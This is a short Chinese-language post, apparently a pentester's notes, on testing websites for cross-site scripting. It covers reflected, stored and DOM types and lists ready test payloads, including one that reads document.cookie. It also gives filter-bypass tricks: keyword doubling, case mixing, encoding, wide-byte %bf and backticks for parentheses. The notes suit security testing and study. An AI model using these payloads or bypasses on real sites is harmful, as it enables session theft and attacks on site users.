XSS测试技巧
测试技巧
一般情况下,XSS攻击是通过HTML注入完成的,配合着客户端的HTML源文件来发掘XSS
js伪协议:他声明url的实体是js代码,由js引擎来执行
反射型
例如http:www.abc.com/x1/index.php?a_value=
,在提交表单处进行xss测试"><img src=1 onerror=alert(1)/>
,合并后查看源码变成<input type="text" value=""><img sr=1 onerror=alert(1)/>">
,可以看到我们插入的代码把前面的闭合掉之后后面插入了我们的私活
存储型
在类似留言板的地方放入如<img src=x onerror=alert(1)/>
,与反射型不同的是,这些代码是会被存储在服务器里的,后面看到的时候也会生效
DOM
在有类似我在第一篇里面那种点击替换图片的代码的地方,可以考虑进行XSS测试
流程:
- 测试闭包,随便输点什么东西,看源码找闭包,一般是">或者
</textarea>
之类的 - 可以输入一些能够触发XSS的敏感字符,如<>'"之类的,或者直接输入常用测试语句,如
<script>alert(/1/)</script>
<img src=x onerror=alert(1)>
<a href=javascript:alert(1)>
<svg onload=alert(1)>
"><script >alert(document.cookie)</script>
<div style="width:expression(alert(1));">
过滤绕过
(部分详细内容可以参考第一篇里面的技巧)
1.script等关键字过滤:
1. 复写``<scri<script>pt>``
2. 大小写混写
3. 使用全角字符(expression)
4. 使用注释/**/来混淆
5. 利用``\``和\0来进行混淆``@\0im\port'\0ja\vascr\000000ipt:alert("xixi")';``(CSS样式)
6. 空格、换行、制表符等等
7. ASCII码形式的换行符等等
2.<>标签过滤:
1.用标签属性、事件等触发``"onfocus="alert(xss)``
2.如果是转义,且为GBK编码,则考虑宽字节%bf
3.编码
js:
1. 三位八进制,不够补0:\145
2. 二位十六进制:\x65
3. 四位十六进制:\u0065
4. C类型的特殊转义字符``\n``
HTML:
1. 命名实体,如``<为<``,<svg>能够翻译实体``<svg><script>alert(1)</script>``
2. 字符编码:格式为&#数值的十进制、十六进制ASCII、unicode编码
URL:
1. 两次URL全编码
4.括号过滤
1. 用反引号代替括号
5.字数限制
1. 分段
2. 用bp抓包修改
全局变量,在代码审计的时候可以作为主要对象
评论已关闭